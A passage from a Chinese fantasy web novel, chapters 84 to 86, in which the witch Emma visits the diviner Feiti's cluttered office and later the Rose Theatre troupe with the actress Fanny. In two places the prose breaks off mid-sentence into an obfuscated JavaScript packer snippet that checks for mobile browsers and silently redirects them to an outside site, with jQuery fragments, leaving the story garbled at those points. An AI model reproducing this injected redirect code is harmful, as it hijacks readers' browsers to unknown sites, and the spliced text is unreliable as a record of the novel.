那些学习塑造了现在的她,便如石像上片片的金箔。艾玛记得它们中每一片的来历,能清晰看见自己表面那些箔片间的接缝。 艾玛想,她应该是像西里斯的。 在所有那些老师和朋友之中,她认识他时间最长,向他学习的也最多。 她应该可以被他认作同类,应该让他感到亲切而愿意靠近。 明明应该是这样。 心底有一种惶然隐秘地提醒她另一件事实: 她再怎么努力,仿来的依旧是表象。 即使能敷衍往来不多的过客,但对于越靠近,越深入的人,那些箔片间的接缝便越醒目。 它们开裂,脱落,让石像空空的内腔难以掩藏。 剥离那些凭借思考认同的,有意维持的,通过他人附加的特质之后,艾玛不知道剩下的会是什么。 艾玛看过很多爱情小说,像阅读说明书那样观看戏剧里的爱情如何发生,如何展现。 但戏剧角色的爱恨总是太浓烈,和艾玛寡淡的情绪天差地别。 她不禁觉得自己那点对她来说已经足够沉重的好意,连称作“喜欢”都已经苍白,更不要说匹配比这更沉重的词语。 她“爱”西里斯吗? 艾玛试着念读这个沉重的字眼,发音让她陌生。 剧作家们从不吝对爱情的溢美之词,更不在夸耀它的时刻小气。 情人因为爱情,愿为彼此舍弃财富生命。放弃的东西足够有质量,舍弃才能被作为牺牲赞颂。 但对艾玛来说,她不觉得有什么重要到不能舍弃。 她可以为西里斯付出生命,这是他们一开始就说好的事情。 这是爱情吗? 看见他会高兴,见不到会想念,希望和对方待在一起。 只是抱持这份心情不足够,它开始灼烧心脏,妄图冲破体表,以语言和行动为延伸,无法自制地想要靠近对方。 只是这样就算吗? 因这情绪而痛苦,于是想为自己的不幸求解,或仅仅把同样的感受施加在对方身上。 虚无缥缈而没有形体的概念,难以捉摸。世人用千万种标准衡量定义它,用尽晦涩隐秘的形容,又仿佛是人尽皆知,写在本能中的谜底与共识。 艾玛不能理解。 艾玛的眼睫动了动,目光空空地落进杯中水光的倒影,在液面上漂浮。 想见他。她想。 “‘然后等那太阳落下,月神的祝福烙印在我们前额,我将得以再见你幽深的眼睛,满载夜晚的神秘,和一千万年前起始的万物的谜底——爱情。’ “‘哦,亲爱的,我是如此想见你。为何白昼焚烧,为何甜蜜的黑夜迟迟不降临?’” 少女的念词像潺潺灵动的溪流,撞击在河床上的石块,轻快地一蹦一蹦,台词中因为见不到心上人而产生的焦躁和爱情中的热切在她口中无处可循。 少女的声音悦耳,如同唱着一支轻快的民谣。 艾玛不需要费力就一眼看见了街上唱着念词的少女,穿着一袭彩纱,衣裙上缀满花朵,脚步比蝴蝶更轻盈。 她浅金色的长发柔软地打着卷,头两侧生着一对细心打磨过的绵羊盘角,上面挂着葡萄藤叶头饰,一双有着与发色同色绒毛的羊耳朵藏在葡萄果实下。 有人下意识追逐她的身影,有人想靠近却怯于向前,而少女向每一个人微笑,向认识的人挥手招呼。 一时街头安静却喧闹,有人为她的美丽屏息,也有人看着她窃窃私语。 她像一个春天的精灵,所到之处带来春天的解冻和窸窣声中的生机。 哈瓦娜刚从店家手里领到她点的饮料,向街上投去了视线,看到人群中心美丽的少女,发出一声平常的疑问:“嗯?那不是芬妮吗?” 仿佛听见有人叫自己,少女回过头,看见哈瓦娜向她招手,眼睛一亮,向她们走过来。 “那位是?”艾玛问。 “哦,芬妮,她是玫瑰剧团的主演之一,应该是在做春祭的彩排,正好路过这边吧。还有……” 哈瓦娜没说完,芬妮已经走到她们面前了,她于是停下介绍,准备先打个招呼:“嗨,下午好啊,芬……” 少女牵起艾玛的手,双手将它包裹其中。 艾玛另一只手仍然拿着饮料,茫然地和她对视。 她有一双玫瑰色的、春日天空般明朗的眼睛,喜悦而期待地望着艾玛,眼里像闪着星星。 “我第一次见到你,你真漂亮!我喜欢你,可以跟我约会吗?” “噗!”哈瓦娜别过头,捂住嘴,笑得身体颤抖。 艾玛沉思三秒,看了看芬妮 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芬妮收拾一下裙摆,将手抵在心口,向艾玛行了骑士礼:“神谕祭司所属,监察骑士芬妮,向女巫殿下致礼。刚才冒昧……” 她声音越来越低,耳朵也开始变红。 “那个,刚才说的,‘约会’是?”艾玛犹豫一下,还是问了。 “请、请当作没听过……”芬妮又捂住了脸。 哈瓦娜倒是很放松:“其实没什么啦,芬妮一遇到合眼缘的人就想跟人家‘约会’,其实就是两个人一起出门逛街。我也跟她‘约会’过,就是在街上吃吃喝喝逛了一天。” “这种可以算‘约会’吗?我以为是特指恋人之间……” 哈瓦娜摇头:“在常见语境里确实是恋人之间的那种意思,我也早跟芬妮讲她这么说肯定要被误会,不过除了我还有很多人提醒过,她还是喜欢这么用,没办法。” 芬妮反驳:“我查过词典,‘预订好时间地点的活动’都可以被称为‘约会’,不是只能用在情人间!” “但这么用就是容易被误会嘛。” 艾玛点头:“所以,你只是想约我出去玩?” 芬妮顿了一下,点着自己的手指:“是、是……但是,是女巫殿下的话,就太没礼貌,不可能……” “可以哦。”艾玛说,“你打算去哪里?” 芬妮一愣,眼睛亮起来,又慌乱地不知道怎么安放手脚:“啊,诶?真的吗?啊,不,但是……‘约会’——‘约会’应该发生在比较亲密的人之间,就是关系比较好的朋友……也可能成为恋人的,那种,比较亲密的关系才…… “我希望和我喜欢的人关系好,或许变得更好,所以想和他们‘约会’……” 艾玛想了想:“我觉得你很可爱,愿意和你一起逛街。我不确定在你的标准里,这能不能算‘喜欢’。 “但如果按你刚才说的,‘预订好时间地点的活动’就可以被称为‘约会’,我想它符合这种定义。” “当然,当然——您愿意的话!”芬妮高兴地说,激动地一拍手, “那我——请等我好好准备一下!下周三,下周三您有时间吗?” “嗯,没问题。” 艾玛在爱情小说里无数次看见过“约会”这个单词,满载着恋人的热切与期待,因为两人的关系特殊,使得普通的约定会面也变得不同寻常,她以为这个词语是恋人们的特权。 但原来只是“预约好时间地点的会面”也可以被冠以这个名字。 那艾玛想,她和西里斯“约会”过很多次。 她悄悄收拢起这份私心解读,吞下了包藏其中的一点点喜悦。 84.小房间 菲提的办公室在天象司里的一个小房间,和弗里蒙斯的办公室隔着十分钟的路程。 她拿钥匙熟练地开锁,走到墙边,打开房间里唯一的窗户,早晨的风便携着晨光呼啦啦灌进来,吹动窗帘和桌面沙沙作响的纸页。 房间里各式各样的占卜道具一应俱全,目光可及的范围内,光是不同式样的塔罗牌就能看见十几副。 水晶球大大小小地摆着五六个,流转着不同的光泽,书桌上还放着一个当作镇纸,底下压着不同材质的纸张。 有些是工整的文书,还夹杂着不少笔迹稚嫩、内容简单的草稿,甚至描着数幅涂鸦。 还有的纸张被撕开,缺失的部分也能在桌面上那些乱扔的折纸星星、兔子、蟋蟀中找到。 桌沿原本排列整齐的墨水瓶被拨动过后就没再归位,使得原本渐进变化的色谱被打乱,需要寻找对应颜色时得花些功夫。 除了吸水钢笔,还有铅笔、蜡笔、石笔、水彩颜料,一半待在盒子中,一半到处乱撒。 有几本装帧精美的图画书夹着书签,也堆叠着乱放,看完的和没看完的夹在一起。 显然,菲提不喜欢收拾整理,但很大方地一挥手表示自己不在意:“我知道自己把东西放哪里,被人收拾过反而难找。 “每件东西要用的时候能不能找到、应不应该出现,那是它的命数,命运自有安排。” 如果露辛在这里,她一定会对此做出反驳,申明这只是菲提不爱收拾的借口。 但露辛正和荷尔贝拉在门口待命,听不见她们的对话。 房间里只有菲提和艾玛两个人。她拖出待客的椅子,放在书桌边上,示意艾玛自便,自己转个身,钻进了房间角落的抱枕堆里。 巨大的抱枕填充物松软,人一躺进去就下陷成贴合人体线条的形状。 她从抱枕堆里摸索了半天,摸出五本书,一盏台灯,七粒骰子,两包茶叶,最终从中选了其中一包,蹦起来去找茶柜。 由于身高不足,她支开梯子爬上去,把高处格子里的茶具取下来,熟练地用刚烧好的水壶开始泡茶。 书桌对着窗,早晨还算明亮,菲提没开顶灯,艾玛借着温和的光线继续打量房间。 墙边列着两大面书架,上面的书本多数古旧,纸页发黄,也有特殊处理保存得较好的古籍,还有一些较新的工具书。 从书脊上的名目来看,内容基本都与占卜有关。 “会保存在这里的书,要么是太经典了,很常用,为了查阅方便的复制抄本;要么是只有万分之一的可能性用得着——或者说,基本上用不着,不知道放哪里,扔了又怪可惜的书。” 菲提夹好茶叶袋,看了一眼艾玛正研究的书目,随口介绍道,“比不上藏书室二三层的那些,贵重的书都会存到藏书室,放那边方便维护保存。” 刚泡好的茶太烫,菲提提醒艾玛一句,把两杯茶放在柜面上先凉凉,走到艾玛身边多看了书架几眼:“我不喜欢这里的书,有很多古文字,我翻译法术不好,大部分内容也没必要。 “占卜这事找感觉,每个人的方法不一样,但总有些人自己成了功,就硬要别人按着自己的法子来,不管是不是好心,都够自大的。” 书架有打理的痕迹,但仍然落着一层薄灰,看来菲提确实不常翻阅。 有些旧书的装帧甚至很精美考究,书脊上的标题都烫了层金,在时间流逝里剥落不少,露出烫金下发灰的黑色。 艾玛念出那列残损的书名:“‘《预言家笔记》’。” “哦,”菲提轻蔑道,“那类人里最蠢的一种。” 艾玛把那本书拿出来翻了翻,如菲提所说,用的是古文字,但是少见的规整印刷体,书本古旧,在它制作出来的年代,那种印书方式成本更高,要求的印量也大。 书内有数段用红色和深蓝墨水写就的通用文字附注。 菲提书架上的这些属于私人藏书,所有人自然可以在上面写笔记,藏书室的书籍则不行,借阅期间必须保持整洁完好。 附注出自神殿的占卜师,执笔人对书本作者所作出的预言给予了事实对照,深蓝色是正确预言,红色是错误预言,空白的是未知。 整本简略翻下来,在大片红色中也有部分深蓝色的肯定。 至于那些预言错误的原因,执笔人也结合时代背景进行了部分推测。 “‘预言’这种能力,强大点的魔法师也都有,虽然他们管那叫‘直觉’。占卜师在这个领域专精,能预见到的东西通常更多更清晰。 “‘预言’是‘占卜’的其中一种方向,而‘占卜’的本质,是窥视命运的河流。” 菲提说:“我讨厌‘预言家’这个名字,为自己能窥见命运流向而傲慢的人才会这么自称。” 她停了停,皱着眉,不是很想继续这个话题,但茶还没凉。 艾玛看着她,投以礼貌的倾听目光。 菲提抱着臂组织了一会儿语言,半晌才抬头:“我是月神的信徒,但我对信仰其他神明的人不会因此有敌意,世上本来也不止一位神明。 “阿瓦托芬不拒绝无信仰者,但不容许他人否认月神的存在,那是对我们信仰的侮辱。 “我没有离开过阿瓦托芬,但听说过外界的景况:在很多国家中,王权凌驾于神权之上。 “神明、信仰、传说,什么都为王族服务,所有编造的神话都为了使王权的统治更稳固,只是想象都让我感到压抑。” 菲提的眉毛拧得更深了,有些烦躁:“‘占卜’是魔法的一种,而魔法本身来源于神明。人因为得到神明恩赐才能够使用魔法,却总有人因为拥有魔法而自大。 “‘预言家’基本都是那种人,不为命运之河的广阔和无穷而敬畏,反过来觉得自己是河流的主宰和征服者,毫无谦卑之心。 “这种人又正好符合王权至上的社会氛围,在那些宫廷里,自称‘预言家’的家伙最常见。” 菲提别过嘴,有点不想承认,但还是勉为其难地指了指艾玛手里的《预言家笔记》:“这本书我看过,这个‘预言家’还算有点本事——否则这本书就纯粹是毫无价值的破烂。 “但他的狂妄完全和‘预言家’这名字一样。占卜师通常不会预言太久之后的未来,因为‘命运之河 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366784|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ’是流动的,随时可能发生改变,预言的时点越远,可能发生的偏差越大。 “这个‘预言家’却甚至预言了几百年后可能发生的事情,蒙对了几件,但错得离谱的也多——活该。” 书本的扉页用当地文字写着对那个国家的王的赞颂之词。艾玛合上书,书封上印着作者姓名的小字,同样烫了金,但剥落得更多,黑色的墨晕开,使得部分字符难以辨认了。 她把它放回书架。 菲提说多了话,感到口渴,过去拿起茶杯尝了一口,因为茶水仍然太烫而皱眉,捧着杯子走到窗边上,借着窗口的风加速散热。 艾玛也走到窗边,看向窗外的景色。 附近有一座喷泉,设计过的流水曲线很漂亮,水花坠落的声音遥远,在这里听不见。 有神殿的守卫在地上撒了些食物,白色的鸽群在喷泉附近走动啄食。 “我听说你还在上学。”艾玛说,“但我觉得你懂的已经很多了。” “阿瓦托芬十八岁成年,除了巡防营比较特殊,其他两个司都要求成年才能入职。我家长辈退休后都闲在家里,没什么店铺需要帮忙。 “我想在正式工作前多学点东西,学堂的课程有很多种类,可以自选,在那边也能接触更多人,对理解魔法有帮助。” 菲提啧了声,“还有,弗里蒙斯说我做事太没计划,不提前做好安排、想到什么做什么的话有可能最后什么都没做,学堂好歹有课表—— “嘁,他就是太有计划了,在拿我跟谁比较啊?您不觉得提前计划要做什么事太拘束了吗?” 艾玛其实是支持制定计划派的,但只是对菲提说:“我相信你有自己的安排。” 鸽子扑棱翅膀的声音引起了艾玛的注意。 有人走过喷泉边,身边的鸽群被惊起,一只只此起彼伏地飞落,像船舶分开水波。 仿佛注意到这道目光,那人移了移手上拿来遮阳的文件袋,向艾玛的方向望过来。 距离太远,艾玛看不清他的细微表情,只见他抬起手,向她挥了挥,银色的长发在阳光下闪动,粼粼如喷泉的水光。 艾玛也向他挥了挥手,菲提看了一眼:“哦,是利利提亚。” “同为主祭司,你们熟悉吗?” “一般吧。我喜欢他的脸,但感觉他不会喜欢我,所以不打算喜欢他。” 抛开专业性的问答,菲提说话时仍然时常带点任性的孩子气,她问艾玛,“您喜欢他吗?” 艾玛说:“我们才认识没多久。” “他那样长得好看的比较容易被一见钟情。” “嗯……也是。” 菲提看着利利提亚走进楼里,从视野中消失了:“说起来,我没法占卜有关他的事情。” “是吗?”艾玛惊讶道。 “嗯,很少见。我的占卜天分很强,目前为止几乎没见过无法卜测的对象。 “卜测不了您很正常,但利利提亚,我也不是很明白。大概两种可能: “他的魔法才能压倒性地胜过我;或者,他的命运不在正常流向之中,不属于我能够观测的范围。” 85.窗口 菲提喝了口茶,把茶杯放回台面上,拿起艾玛那杯递给她,“反正,他的指月石倾斜角很大,应该也没什么。弗里蒙斯说他处理工作的能力很出色,很好沟通。 “诶……想想天象祭司的工作好麻烦,要是能一直跟弗里蒙斯分工合作就好了。” 茶水是橙色的,艾玛尝了一口,神色动了动:“柑橘味的。” 菲提拎起另一个茶叶袋扬了扬:“还有树莓、苹果、蜂蜜味的。您要是想,等会儿可以泡别的口味。” “好呀。”艾玛说,“机会难得,你这里很多占卜道具,可以教教我吗?” 菲提困惑地拧眉:“这些东西对您没什么用的。” “只是有点好奇,想见识真正的占卜师是怎么卜算的。能让我看一下流程就可以了。” “好吧。”菲提走到那个堆着抱枕的角落坐下了,从附近挖出一盒塔罗牌,向对面摊了摊手,“这边,请坐。” 艾玛按照菲提所说的进行了洗牌、切牌和选牌,菲提表示“反正对女巫没效果算不出来的意思到了就行”,然后向艾玛介绍了一会儿塔罗的牌阵。 “你会讨厌自己无法占卜或者占卜错误的感觉吗?”艾玛问。 “不啊。”菲提灵活地打乱手里的牌序,没有抬头,“如果要打个比方,我觉得占卜的才能就像一扇窗户。 “窗户开在房间的哪个位置,打开它所能看见的范围,在什么时点打开能看见什么东西,我是否想要打开它,这些都在我来到这个房间的时候就注定了。 “我认为占卜师本身,对他人而言也只是一个‘窗口’,一个传话人。神要将某件事告诉某人,那个人才会遇见告诉他答案的占卜师。 “有的占卜师以为,‘占卜错误’是可以通过提升自己避免的事,我不这么觉得。 “如果遇到的是错误的对象,在错误的时点,卜算了错误的问题,答案无论如何不可能正确。 “因为神没有预示你将某事告诉某人,求问人在那个时刻也没有得到那个正确答案的命运。 “我相信自己的感觉,我只做自己想做的事,得到的就是我此时此刻应有的结果。没什么需要纠结的。” 菲提收起牌,自己切了两把:“我跟您说我讨厌‘预言家’,但在某个层面,我明白,这样狂妄的占卜师也注定存在,他们的狂妄也写在命运的支流里,将对某些人造成影响,这种影响本身也是命运的一部分。 “当然,明白是一回事,我仍然厌恶这种不敬畏神明的家伙,这大概也写在我的‘命运’里。” 艾玛说:“如果命运已经安排好了一切,人去尝试改变它不显得只是徒劳吗?” “很多人对‘命运’这个词的定义理解是‘注定而无法更改的未来’,但‘命运之河’不是同一回事,它包容一切变化,包括被改变的可能性。” 菲提摆了几个展示牌阵,说到这里,撇了撇嘴,“我选修了学堂的哲学课,和老师探讨过这个问题,她说年纪小的人容易在哲学问题上钻牛角尖,想不清楚还容易悲观厌世,建议我适可而止——您在笑我吗?” “那位老师说的或许是普遍情况,但看来你不是,你对于‘命运’似乎很乐观。” “乐观?嗯……我也不知道。在我看来,命运之河无穷无尽,永不枯竭,如此壮阔而瑰丽,没有什么比这更有魅力的了。” 菲提顿了顿,淡淡道,“但也有占卜师只对它感到畏惧。是因为人的生命有限,反而恐惧无穷的存在,还是他们跟我看见的并不是同一片景色,我也不知道。” 艾玛也安静了一会儿,转开话题:“平时别人会请你占卜吗?” “除了天象祭司工作里需要占卜的部分,学堂的同学有时候也会拜托我,像是占卜下次考试的考点题目,告白能不能成功之类的。” “你答应了?” “看心情。大部分不会答应,少部分——嗯,有我占卜出某人‘应该去告白’结果那人告白失败在那哭的事。” “哎呀。” “可以从占卜的解读入手找借口弥补,但反正也无所谓,说明‘要去告白然后失败’就是那人的命运,我不过推了他一把。” “‘命运’这个词还挺好用的呢。” 菲提点头:“确实。” 菲提为艾玛做了许多关于塔罗的介绍,又给她摸了会儿水晶球,快到中午的时候听见门上传来敲门声。 菲提起身,去开门,不出她意料,来的是弗里蒙斯。 “差不多午餐时间了,殿下,如果您不介意,我请您在食堂用餐吧。” “好的,谢谢。”艾玛回答。 弗里蒙斯感到衣角被扯了扯,一低头,就对上了表妹的眼睛。 菲提理直气壮:“弗里蒙斯,女巫殿下说想吃提子蛋糕。” “是你想吃吧。”弗里蒙斯秉持着对她的深刻了解说。 “女巫殿下还说想吃冰淇淋。” “别拿殿下当借口。” 艾玛点头:“嗯,我想吃。” 弗里蒙斯无奈道:“您不必这么配合她……菲提一直任性,给您添麻烦了。” 菲提不高兴:“我可是尽职尽责地给女巫殿下介绍了好多东西,现在还很口渴呢!” 艾玛作证:“是的,菲提小姐教了我很多事。” “您满意就再好不过了。”弗里蒙斯向艾玛颔首,无奈地看向菲提,牵住她的手,“好吧,听你的,想吃什么?” 阿瓦托芬城市中有很多雕塑馆、画展馆,门口定期更换的展牌上写着每一批展品和作者的简略介绍,而剧团自然也不少,戏剧表演仍然是当下最受欢迎的娱乐活动之一。 芬妮所属的“玫瑰剧团”是知名的老牌大型剧团,甚至能算半个官方组织,与文礼司往来密切。 文礼司内有许多富有才艺的职员,但文礼司的职责以监管为主,神殿内没有开放的演出场所,这让许多有艺术热情的职员很难耐。 所以在文礼司中,职员在城内的某家艺术机构兼职是很常见的事。 芬妮的情况也大抵如此,她自小在神殿内学习,后来入职文礼司,因为对戏剧演出有着非同寻常的热情,又加入了城中的剧团。 每逢要在城中游行的大型庆典,文礼司都会与民间的艺术组织合作进行节目安排,即将到来的春祭也是如此。 为了春祭的准备,芬妮近期需要在剧团停留更长时间排练,监察骑士和文礼司的工作都不能耽搁,行程满得令人咋舌,但芬妮仍然神采奕奕,乐在其中。 鲜明的对比反差让艾玛想起了同为监察骑士,因为工作过多而看起来仿佛随时准备昏厥的费鲁南特。 据哈瓦娜说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370632|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在最忙的时候,费鲁南特在神谕祭司办公室连着呆了十个小时,之后步行回建筑部,在建筑部继续又工作了十二个小时。 哈瓦娜虽然有心去看他笑话,但她最近也开始忙着参与春祭的防卫安排,庆典前夕来访问的外国使节比往常多,巡防营不能懈怠。 荷尔贝拉隶属的轻骑兵队主要负责通讯,因为她自身特殊的传信法术,可以提前为需要通讯联络的人员准备好传递信息的纸鸽,省去了不少工夫,因此能留出更多时间。 近来她一直在艾玛身旁担任护卫,艾玛去到哪里都有她陪同。 艾玛受芬妮之邀来到剧团的时候,剧场里的装饰还没挂上。 在春祭前的四月,要在春祭表演的剧团会降低日常演出频率,在春祭期间及前一周,则会停掉日常公演。 此时距离五月初的春祭还有一周多的时间,玫瑰剧团还剩几场演出,但艾玛拜访的时候是休息时间。 检票员验证了她手里的邀请函,艾玛从门口望进去,进门处的甬道黑暗而曲折。 菲提一路小跑着过来接她们,玫瑰色的眼睛在剧场的顶灯下发亮。 和第一次见面时华丽的戏装不同,她穿着一身简洁的白色长裙,金色的长发松松绾着。 她在艾玛面前刚停步,就牵起裙摆,煞有介事地行了个屈膝礼:“早安,女巫殿下,欢迎来到玫瑰剧团!” “好像看见了神秘国度的精灵出来迎接一样。”艾玛说。 芬妮羞赧地捧了脸,吃吃笑起来:“承蒙您夸奖——请走这边。” 进门的走道衍生出几个分支,较宽阔的路通向剧场的观众席,而芬妮选了更窄的那条。 走道的墙壁带来回声,芬妮压低了声音说话:“我提前向团长说过您要来的事,她说这个时间最好,今天没有演出,不容易被闲杂人员看见,也没有观众。有些团员不习惯早起,这个时候还没到——呀,请别在意。 “我上午在剧团有一场排练,您可以看看,也可以逛逛剧院的后台。下午我们去城里走走吧。” “客随主便,我很期待。” 芬妮又低低笑起来,半掩着嘴:“请见谅——这些好像戏剧里的台词呀。” 是吗?艾玛看过不少戏剧演出,也不知道是否受到环境影响而无意识地变化了修辞。 穿过连接的昏暗走道,进入后台时仿佛豁然开朗,高高的天花板在白天撤去了部分遮挡的幕布,阳光能穿透顶棚射进来。 后台有工作人员们忙忙碌碌,有人拿着台本背词,有人搬东西。 芬妮目光一扫就看见了团长,却发出了惊讶的声音。 玫瑰剧团的团长是位高挑的黑发女性,一双猫一般的绿色眼睛,向芬妮这边招手致意的时候,夸张的黄铜耳环晃了晃。 艾玛也一眼看见了让芬妮惊讶的对象,正在和团长对话的人。 利利提亚确实不容易被认错,银色的长发太少见,他又有那么一张漂亮得让人印象深刻的脸。 “早上好,团长,这位就是女巫殿下。”芬妮先向剧团长打了招呼,好奇的目光却立刻移到了对面,“利利提亚大人也在啊?” “早上好,芬妮。我来和佛卡莱斯团长确认春祭期间剧团的防卫工作。” 利利提亚向艾玛笑道,“早上好,女巫殿下,真是巧遇啊。” 86.假花 “早上好,祭司阁下。” 利利提亚看了一圈这个队伍组合:“您是来剧团参观吗?” “受到芬妮的邀请,有点好奇。” 剧团长的眼睛在几人间转了一圈,这时向艾玛伸出手,自我介绍道:“贵安,女巫殿下。我是玫瑰剧团的团长佛卡莱斯,很荣幸见到您。” 这几天艾玛第一次见到初次见面和她握手而不是行礼的人。利利提亚笑了笑,没说什么。 荷尔贝拉低下视线沉默,只有芬妮露出了担心这不合礼数的惊讶。 佛卡莱斯向她握完手,态度大方而不失客气:“我听说您来到阿瓦托芬的消息现在不宜声张,担心人太多会惊扰您,所以才请芬妮把时间安排在今天。 “没能让您看看剧团的演出,实在遗憾,如果将来有机会,请您务必再次赏光。” 握手时的触感有些出乎艾玛意料,佛卡莱斯的手上有着长期持过武器才有的茧子,她说话的语调自信而亲切——沙漠里一些商人推销的腔调也如此。看来这位团长很有故事。 “一定,有机会的话。” 芬妮原本只想跟团长打个招呼就走,看到意外出现在这的利利提亚,却一时停住了脚步:“您最近这么忙,怎么亲自过来交接工作呢?” “保证剧团的演出安全也是我重要的工作,能亲自确认一遍当然最好。” 艾玛忽然想到,利利提亚不在办公室的工作时间,意味着费鲁南特在替他当班。 今天哈瓦娜不在,非常遗憾,没人替费鲁南特发声。 芬妮嗯哼一声,拉长了音调:“您真这么关心春祭,还没时间去文礼司试春祭的礼服,柳德米拉女士为此可不大高兴呢。” “那我要当心下次去文礼司的时候给女士赔礼了。” “虽然她说的后一句是——‘随便他吧,反正他穿什么都不差’。” 利利提亚无奈笑道:“看来我得赔的礼不轻啊。” 佛卡莱斯也打量着他,啧啧道:“以您的才貌,不当演员实在是所有人的损失。我早说想请您来试试戏,来看看演出也好。 “可惜您平时忙得连我们剧团门前都不经过,我几次邀请都推说没空,哎!” “您客气了。” 佛卡莱斯作势抹抹眼角不存在的眼泪,猫一般的眼睛狡黠地一转,对利利提亚含笑道:“今天机会难得,您既然来观察我们的工作,不如顺便参与我们的排练看看?” 连荷尔贝拉也抬起了目光。 芬妮眼睛一亮,积极道:“好啊!后面化妆间有很多戏服,您穿一定很好看!” 利利提亚无奈地对着几道灼灼视线,转向艾玛道:“您想看吗?” 艾玛一愣。 利利提亚的目光是平和的。 芬妮在一边给艾玛打暗示,露出了“拜托啦拜托啦”的表情手势。 艾玛停顿几秒,说:“你很忙吧。” 利利提亚轻声笑了笑,收回目光:“殿下没兴趣,算了吧。” “诶……”芬妮露出了显然的失望,还想再把握一下机会,“殿下也没说——” 利利提亚抬起手里的文件,拍在芬妮头顶打断了对话:“好了,该确认的部分谈得差不多,春祭前一周会有巡防营的守卫过来交接,排练辛苦了。 “我还有其他工作,就先走一步——改天见,女巫殿下。” 他笑着单独对艾玛道:“祝您玩得开心。” 芬妮向团长打完招呼,带着艾玛和荷尔贝拉绕到了剧院后方,打开了其中一间化妆间的门,门牌上标有芬妮和另外两位职员的名字。 荷尔贝拉主动守在门口,只有芬妮和艾玛进入了房间。 化妆间不大,梳妆台和戏服道具之外,还堆着不少个人杂物,以及一些观众的馈赠。 门口的花瓶里插着鲜艳的红玫瑰,但近看是做工精细的假花,花枝上系着一根写了字的米色缎带“致芬妮小姐”,拴着一张写有诗句的卡片。 很多人不喜欢假花,尤其在社交中赠送假花给他人被视为一种失礼的行为。 看到艾玛打量那束假玫瑰,芬妮主动做了解释:“那是我第一次当主演的时候,一个小女孩送给我的,我非常高兴,就保留下来做纪念了。” 缎带上的字迹确实稚嫩,如果是出自孩子的礼物,不懂假花的涵义也可以理解。 “这花做得很精巧不是吗?远看都分不清真假。”芬妮爱怜地摸了摸玫瑰的花瓣,“后来我也收到过很多很多真花,朋友建议我用它们来替换作为装饰。 “但真花会枯萎,假花却可以长久保存。它多漂亮啊!就像永久在最美的时刻盛开,是不是真的也不重要吧?” “当事人如果不介意,我想也没什么关系。” 芬妮很快把兴致移到了向艾玛介绍那些戏服和道具上,有华丽繁复的长裙,简洁利落的骑装,树叶拼接而成的帘子……哦,或许是精灵的衣服。 芬妮翻出了她今天排练要穿的那件,裙摆破碎,摊开露出正面刺目的大片血色,在白色的布料上尤其触目惊心。 芬妮向艾玛分享起了这件戏服背后的故事,有关于道具组团员如何努力使红颜料在布面上展现出鲜血般的逼真效果。 近看颜料的痕迹还是很明显,远看确实吓人一跳,艾玛对于道具组的技术给了高度肯定。 “我这次演的角色是主角的妹妹,姐妹两人在一起寻找宝藏的途中,遇到了潜藏在绿洲中的魔鬼。 “妹妹为保护姐姐受了重伤,被恶魔带走,姐姐根据恶魔留下的线索,经历千难万险找到了宝藏,救回了妹妹……大概这样一个故事吧!” “经典的寻宝故事呢。” “这场戏对道具和背景要求很高,因为手工很难做到那种精细程度,这就正好是我擅长的地方了!” 芬妮哼哼一声,得意地打了个响指。 房间的棱角、线条,一切摆设,都在晃动的光影间消融了,烈日灼灼下的金黄沙漠在脚底蔓延,铺开在湛蓝的天空下,连被高温蒸烤到扭曲的空气都还原得活灵活现。 只是艾玛并没有感受到处于沙漠中的灼热,脚下也不是沙粒,而是硬实的地面触感。 她们并没有离开那个房间。 艾玛环顾了一下四周:“是幻觉魔法吗?好厉害,看起来很真实。” “是的!这是我最擅长的法术。不过,只是通过光线变化来欺骗别人的视觉,触觉听觉上的幻象很难做,特别耗费精力。 “但是在舞台演出里,视觉上的效果就足够了,观众们都很喜欢!” 似乎想起观众当时脸上的惊喜,芬妮喜悦兼骄傲地按住自己的心口,“所以我才是剧团的主演哦!” “真让人期待。” 四周的颜色一点点淡去,铺满整个天空的光慢慢蜷缩起来,收拢回天花板的顶灯里。房间里的景物恢复了正常。 芬妮却咳了一声,似乎有点不太好意思。 “但是……嗯,我的演技还不是很好,可能是缺乏天赋吧……”芬妮说着说着,声音变小了,“哎呀!虽然知道只是在演戏,可我还是不擅长说谎嘛……不想演坏人,也演不好坏人。 “那种有冲突戏码的好人角色,我也忍不住觉得‘为什么要吵架呢,明明好好沟通就可以解决问题了呀’!更不要说还有动不动就决斗的!真是没法理解啊。” 芬妮那对浅金色的绒耳垂了下去,有点沮丧:“大概就是因为这些想法,我很难演好那些跟自己差距很大的角色。剧团的大家都很关照我,编剧也是我很好的朋友,会尽量给我安排一些跟我性格相近的角色。 “我很喜欢戏剧,能够演出真的很开心。虽然现在这样我也满意了,但有时候也会想,作为一个演员,这样真的很不称职……” 艾玛看到芬妮低落的耳尖,停了三秒,伸手摸了摸她的耳朵。 绵羊绒耳猛地一动,僵了一下,慢慢放松下来。 菲提只是听到艾玛说想摸耳朵就不高兴了,艾玛后来也没摸成。 只是见到弗里蒙斯给菲提点了所有她想吃的甜点后,菲提心情好得耳朵上上下下扑动,让艾玛忍不住盯了好久。 菲提的耳朵上绒毛偏薄,看起来质感可能偏硬——也只能是目测; 芬妮的耳朵上绒毛却较厚,柔软绵密,小心地摸到底部,能碰到耳背上温热的血管……或许有点太热了? 艾玛回过神,注意到芬妮的脸突然很红。 